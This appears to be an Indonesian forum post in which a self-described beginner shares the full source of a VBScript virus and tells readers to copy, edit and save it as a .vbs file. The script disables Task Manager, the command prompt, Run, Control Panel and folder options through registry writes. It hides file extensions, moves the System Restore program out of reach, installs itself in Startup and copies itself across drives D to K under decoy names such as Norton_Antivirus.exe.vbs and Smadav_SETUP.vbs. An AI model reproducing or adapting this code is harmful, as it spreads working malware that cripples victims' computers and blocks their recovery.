ni gw posting ....cara bkin virus Vbs ..ja ya :D hehe gw masih newbie sih...bsanya cma virus murahan... mayan buat belajar script virus... hehe
langsung ja ya..ni scriptnya.... klo pengin copy buat di edit pke improvisasi kalian
| On error resume next Dim Regpen, FSO, Copier, Creator, Dupler, Deleter, Runner set Regpen = CreateObject ("Wscript.Shell") set FSO = CreateObject ("Scripting.FileSystemObject") set Creator = FSO.CreateTextFile ("C:\Ternate.vbs", true) Creator.WriteLine ("Msgbox ("& Chr (34) & "hehe yg dudut cuma copy doank ga diedit :P, rdv sayang ririn selamanya all jgn di gugat" & chr (34)& ")") Creator.Close Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\NoRun","1","REG_DWORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableTaskMgr","1","RE G_DWORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableCMD","1","REG_DW ORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoFolderOption","1"," REG_DWORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoDrives","16","REG_D WORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoSaveSettings","1"," REG_DWORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoControlPanel","1"," REG_DWORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\NoSetTaskbar","1","REG_DWORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\Advanced\HideFileExt" ,"1","REG_DWORD" Regpen.Regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Winlogon\LegalNoticeCaption", "THE Syaithan-X" Regpen.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Winlogon\LegalNoticeText","ASSALAMUALA IKUM, YA AHLIL KUBUR" Set Copier = FSO.GetFile ("C:\rdv.vbs") Copier.Copy ("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\communication\Adobe.vbs") FSO.CreateFolder ("C:\Program Files\Microsoft 0ffice\0ffice12") FSO.CreateFolder ("D:\Program") FSO.CreateFolder ("E:\Program") FSO.CreateFolder ("F:\Program") FSO.CreateFolder ("G:\Program") FSO.CreateFolder ("H:\Program") FSO.CreateFolder ("I:\Program") FSO.CreateFolder ("J:\Program") FSO.CreateFolder ("K:\Program") Set Deleter = FSO.GetFile ("C:\Windows\System32\Restore\rstrui.exe") Deleter.Move ("C:\Program Files\Microsoft 0ffice\0ffice12\rstrui.Gnamu") set Dupler = FSO.GetFile (WScript.ScriptFullName) Dupler.Copy ("C:\Program Files\Microsof 0ffice\0ffice12\rdv.vbs") Dupler.Copy ("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\start menu.vbs") Dupler.Copy ("C:\Documents and Settings\All Users\Desktop\Norton_Antivirus.exe.vbs") Dupler.Copy ("C:\Windows\System32\Restore\rstrui.exe.vbs") Dupler.Copy ("D:\Program\MotoGP_SETUP.vbs") Dupler.Copy ("E:\Program\TuneUp2009_SETUP.vbs") Dupler.Copy ("F:\Program\Smadav_SETUP.vbs") Dupler.Copy ("G:\Program\DeltaForce_SETUP.vbs") Dupler.Copy ("H:\Program\DeltaForce_SETUP.vbs") Dupler.Copy ("I:\Program\Smadav_SETUP.vbs") Dupler.Copy ("J:\Program\Project.vbs") Dupler.Copy ("K:\Program\rdv.vbs") Set Runner = WScript.CreateObject ("WScript.Shell") Runner.Run ("C:\Program Files\Microsoft 0ffice\0ffice12\rdv.vbs") |
tu scriptnya...hehe gw jga dapet dri web org....tpi gw edit ndiri...buat belajar hehehehe......script di atas gw set mode net..di PC net gw ndiri...klo biar tau kerja virusnya :) .... klo mau yg dah jadi tanpa edit kesni aja
script diatas lu copy aja...trs di edit ..bis di edit save bentuk vbs...misal : namafile.vbs
www.duniaaskep.com